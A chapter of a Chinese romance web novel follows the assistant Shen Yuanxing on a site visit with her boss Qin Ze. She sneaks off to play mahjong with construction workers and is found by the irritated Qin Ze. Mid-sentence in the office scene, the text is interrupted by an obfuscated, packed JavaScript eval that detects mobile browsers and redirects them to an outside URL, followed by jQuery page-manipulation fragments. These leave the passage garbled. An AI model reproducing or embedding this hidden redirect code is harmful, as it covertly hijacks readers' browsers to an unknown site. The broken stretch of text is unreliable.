沈沅星回到家,先是洗了个热水澡,等心情平复下来之后,才想起一时情急,忘了问他明日几点集合,在哪碰面。
她躺入被窝里,抓起手机给他发短信:【秦总,您睡了吗?】
良久,不见他回消息。
沈沅星又在聊天框里输入“以后少喝点酒”。
句号敲下,她骤然意识到自己越界的行为,随后快速删除整句话。
“沈沅星,你疯了吧?这是你该管的事情吗?”她抓起被子盖住头,自言自语道。
许是劳累了一天,沈沅星很快沉入了梦乡。
*
第二天清晨,明媚的阳光透过窗帘,投下一道金色的光,光晕恰好洒落在床头,沈沅星翻了个身,感受到刺眼的光亮,她揉了揉眼睛,缓缓睁开。
视线中,靠窗的方向半明半暗,积雪融化了一半,淅淅沥沥的水珠从窗檐落下。
沈沅星从枕头底下捞出手机,摁了摁屏幕,发现昨晚忘了充电,手机关机了。
她连忙接上充电器,等待中手心紧紧揪着被角,着急地盼着屏幕尽快亮起。
开机的那一刻,弹窗“叮叮叮”地跳出三个未接来电和好几条微信消息。
沈沅星打开微信查看,昨晚0时13分,秦择回了消息:【明日我去接你。】
紧接着就是半个小时前发来的新消息:
【准备好了吗?我到了,下来。】
【沈沅星,你竟敢关机?】
沈沅星想也不想地回播那未接听的陌生电话,果不其然,是秦择打来的。
男人的耐心似乎已经降至零点。
电话一接通,如同炸雷般的怒吼瞬间从听筒里爆开:“沈沅星,你看看现在几点了?如果你不想参与这次的外出,大可以直说。”
“不好意思啊,秦总。是我忘了充电,没电关机了。”沈沅星飞快地从床上爬起来,鞋都来不及穿,光着脚丫急匆匆地窜进卫生间里洗漱,凭借听筒里传来阵阵的风声,她小心翼翼地询问,“您还没走吧?麻烦再给我十分钟……不,五分钟……再等我五分钟,我马上下来……”
说完,她把手机扔在洗手池边上,一阵忙碌地倒腾。
最后,她算上搭电梯的时间,掐点卡在四分钟时出了门。
等待电梯时,她掏出手机,垂眸一看,发现电话竟然一直没有挂。沈沅星不确定地轻唤一声:“秦总,您还在吗?”
“嗯。”
听见他的声音,沈沅星的脸瞬间爆红,脑子里飞快地回转着,刚刚自己做了啥?上厕所、冲水、翻衣柜、换衣服……
好像还吐槽了一句,内衣紧了……
沈沅星扶额走进电梯,结结巴巴地说:“您……您怎么不挂电话?”
“你不也没挂。”
“我……”
沈沅星走出楼栋,一眼看见凉亭边停着一辆迈巴赫,男人站在车门前,一手叉腰,一手将手机递至耳边,他半个身子倚靠在车门上。
风撩起他额前的碎发,金色的光辉勾勒出他立体的五官,黑色的长款风衣将他肩宽腰窄的身形衬得完美。
沈沅星一不小心失了神。
电话里的声音忽然消失了,男人抬起双眸,注意到她。
两人远远地对视,风声安静下来。
半响,男人先挪动脚步,拉开副驾驶车门,朝她喊:“沈沅星,走了。”
“来了。”
沈沅星摁下挂机键,将手机塞回挎包里,迈开步伐,向他奔去。
*
临近午时,城市快速路异常拥堵,沈沅星望了望前面一排排的车辆,再看看驾驶位上,男人不自觉蹙起的眉峰,小心翼翼地问:“秦总,我是不是害您迟到了?”
秦择直视前方,口气冷硬:“你说呢?昨晚到底是你喝醉了,还是我喝醉了?”
也是,好不容易摊上与他外出的机会,竟然还搞砸了。沈沅星垂下头,用指尖搅着衣角,小声地嘀咕:“那还不是因为天天加班,累都累死了。”
“你说什么?”秦择听清了一半,另一半不太确定,但也能猜到个大概,“金澜月天天让你加班?”
“没有没有。是我自己完成不了工作。”
沈沅星差点咬到舌头,连忙否认。
背地里在老板面前说领导坏话,有几个脑袋可以掉?
为了跃过这个话题,沈沅星灵机一动,“秦总,怎么李特助没来?”
话刚问完,她看见男人的脸色莫名一凝。
他冷漠地回:“还有闲心关心别人?怎么,给你学习的机会都不重视,真是不思进取。”
沈沅星:“……”
而后,她发现,这个男人真生气了,一路都没再搭理她。
到了星茂地界,沈沅星远远见到路边开来一辆接待车。
接待车在他们面前鸣了声笛,以示意“问好”,紧接着行驶在前方开路。
不多时便抵达一片依山傍湖的空地,接待车停下来,车上走下一位身材微胖的男人,男人的身后还跟着三位瘦瘦高高的小伙子。
秦择在接待车旁边熄了火,他解开安全带,临下车之前,叮嘱沈沅星:“好好跟着,别乱跑。”
湖边的风较大,男人头顶稀疏的毛发被风吹得凌乱不堪,他捋了捋身上的西装,笑着迎来:“秦总,欢迎您大驾光临啊。”
秦择象征性地和他握了握手,顺势睨一眼手腕上的表,直接步入正题:“时间不早了,请王总尽量把握好时间。”
“是是是。”王和贵搓了搓手,一副毕恭毕敬的模样,“秦总您请。”
在场的人,无人敢提及秦择迟到的事,再看王和贵那副迎接财神爷喜笑颜开的模样,怕是等到晚上也心甘情愿。
沈沅星这才意识到,又被这该死的男人吓唬了。
王和贵拿出对讲机,说了句让人听不懂的话,不过一会儿,一辆挂着欢迎横幅的观光车开了过来。
沈沅星注意到秦择的脸色沉了两分,她猜想,是不是秦择不喜欢花里胡哨的玩意儿。
但秦择没有当众驳了王和贵的面子,面无表情地坐上车。
沈沅星紧随着他,坐在他后排的位置上。
车子缓步前行,沿着湖面绕了一圈,王和贵一路介绍周边的风景。然后,行驶至王和贵名下公司建了一半的酒店,目前正处于停工状态,酒店旁还有家开业不足一年便关门的饭店。
沈沅星拿出笔记本,一边记录实况,一边在心里考量着:锋诚在全国开设了三十八家连锁商场,基本的目标群众主要是上层人士,根据王和贵介绍,距离星茂约一公里内是繁华街市,之前做评估时,她初步了解过,两公里内同时开设有两家高档商场,目标消费者都放在附近的高档别墅区。
眼下这块地皮,再继续走锋诚以往的路子只怕是竞争力大,又没有新意。
逛了一圈,观光车开到办公楼门前。
沈沅星瞅见秦择下了观光车,赶紧凑到他身边,小声说:“秦总,我去个洗手间。”
秦择点点头:“去吧。”
沈沅星借口脱了身,徒步四处查探。
听王和贵说了那么多,也不过是王婆卖瓜,自卖自夸。沈沅星更愿意相信群众的评价,她漫无目的地走,却忽略自己是个路痴的事实,等她反应过来时,已不知回去的路在哪儿。
“这块地可真是够大的。”沈沅星吐槽着。
突然,她看见前方的铁皮房里传来闹哄哄的说话声,沈沅星走近一看,是工地里工人们的休息室。
她走到闹哄哄的那间房门前,敲了敲门,室内的吵闹声安静下来,很快有人打开了门。
一位穿着朴素的女人,含着一口浓厚的乡音问:“你找谁?”
“不好意思,打扰了。我本来想到前面那家饭店吃饭,不知怎么关门了。”
沈沅星的视线越过女人,看向屋内,一张麻将桌,三个男人正围坐在桌前搓牌,看样子是刚刚打完了一局。
女人说:“那家饭店,三个月前就关门了,寻别处吃去吧。”
女人刚说完,屋内的男人们催促着她,继续再来一局。
女人摆着手对三个男人说:“不打了不打了,我得买菜做饭去。”
三个男人丧着脸“哎哟”一声。
沈沅星见状,柔声说道:“我这饭也吃不成了,不如,陪你们打一局?”
三个男人眼里的光重新燃起,热情地招揽她:“小姑娘快来快来,一会儿就留在这里吃饭。”
沈沅星没有拒绝,找到空位坐下,“谢谢啊,大哥。”
*
办公室内,秦择独自坐着最长的皮沙发,他的手臂轻搭在扶手上,修长的指尖有一下没一下地轻敲着,细微的哒哒声让人不禁紧张起来。
王和贵顶着压力,挤身坐在侧边的小沙发里,一边关注着他的神情,一边尽最大努力推广那块地皮。
他忽略耳边的声音,第五次看向腕上的手表,细数着时针已经走了一圈半,人还没回来。
一阵叨叨完后,王和贵笑着问:“秦总,您
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490380|185827||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得怎样?”
秦择站起身,理了理衣摆,随意地回了句:“挺好的。今天先这样,接下来的事我会安排人与你对接。”
话毕,他快步走出办公室。
出门的那一刻,他掏出裤兜里的手机,迅速拨通了沈沅星的电话。
听筒里“嘟嘟嘟”的声音响了三声,很快被对方接起。
“喂,你那儿谈完了吗?”沈沅星出声询问。
吵杂的声音在听筒内无限放大,他甚至能听见洗牌声,混杂着男人嬉笑的说话声。
“我这儿有点吵。”沈沅星忙跟他说一句,又急切地回应着别人,“等等,该我了,你们别耍赖皮啊!”
“你在哪儿?”
沈沅星似乎没听见,他深吸一口气,压着脾气,再次询问问:“沈沅星,你在哪儿?”
“我也搞不懂这是哪儿。”沈沅星搓着牌,想了想,如何才能把具体位置说清楚,“大概就在那栋盖了一半的酒店旁边,有一排铁皮房……”
对面的男人不等她把话说完,便掐断了电话。
黄昏的暮色下,黑色的车子不断地在山与湖之间绕行,他沿着湖畔查了好几处铁皮房,拧紧的眉头从挂了电话的那一刻起,就未曾松懈。
风吹乱了他额前的刘海,太阳马上就要下山了,他必须尽快找到她。
……
什么情况?
沈沅星盯着手机屏幕愣了三秒,满脑子疑问。
三位大哥喊着“开始了”,沈沅星只好扔下手机,投入新一轮的牌局中。
第一轮由沈沅星先摸牌,她看了看手头的牌面,扔出一张红中,继续刚刚未问完的话。
“二哥,您刚刚说的意思是,王和贵包养的小三在饭店里工作,然后他的妻子得知这件事后,找了人,在店里把小三打了,所以饭店就开不下去了?”
“可不是么。王和贵的老婆,娘家是有钱人。拿着娘家的钱包小三,这娘家人能同意么?随便动一动手指就搅黄了他的生意。”
牌桌上的另一位男人附和道:“小姑娘,看事情要看全貌,要我说星茂这块地就是邪门。别说他王和贵包养小三搅黄了生意,就连那酒店,动工不到半年,就碰上有人跳楼,还赔了不少钱。”
“对对付,星茂中央那个湖,前两年听说有个女人投湖,当场就死了呢!”
没料到打探出了灵异事件,沈沅星的手抖了抖,一顿寒意从背脊上升起。
她的指尖捻着一张牌,刚想扔出去,身后的铁皮门“咣当”一声,敞开了。
寒风从门外涌入,沈沅星回过头,看见门外出现的男人,喘着气,他的手扒在门槛上,如墨般的眼眸里迸发出的光,带着一股子压迫感。
“沈沅星,你在干什么?给我出来。”
麻将桌上的三个男人集体扔下手中的牌,不悦地问:“你谁啊?”
看着三人气势汹汹的模样,沈沅星飞快地站起来,挡在秦择身前,解释道:“诶,三位大哥,他是我朋友。”
“他寻我寻久了,脾气有些大,还请你们见谅。”沈沅星回头看了秦择一眼,用眼神示意他别说话。
“你这朋友真没礼貌,敲门不会吗?”个头最高的男人气焰消了一半。
“对不起,对不起,好在门没坏。不如今天先这样,改天再陪你们玩啊。”
沈沅星检查了一下门,连声道歉,她把包里的所有现金拍在桌面上,拎起小挎包,慌张地拽住秦择的手臂,将他带离了现场。
走出铁皮房的院门,沈沅星一路跟在秦择身后,直到坐上路边的车,她看着男人的冷脸并没有缓解,主动认错道:“秦总,您别生气啊,我都是为了帮您打探军情。”
天色渐暗,路边的灯光投射在他的侧脸上,半明半暗,他火气未消,语气比这寒冬来的还要冷,“沈沅星,你把我的话当耳旁风是吗?在陌生的地方,与三个男人坐在一起打麻将,你知不知道危险?”
“放心吧,他们都是工地的农民工,没有坏心。”沈沅星经他一吓,气势减半。
“你处事一直是这样?”他轻轻一哼,冷漠评价,“安全意识差。”
沈沅星见他气头上,决定不跟他一般见识。
静谧的空气下,她肚子里传来的“咕噜噜”声特别地明显。
沈沅星端直身体,清咳一声,想掩盖过去。
可秦择始终是听到了,于心不忍地说:“下不为例。”
说罢,他启动车子,单手控住方向盘,一个调转,朝着繁华的街区驶去。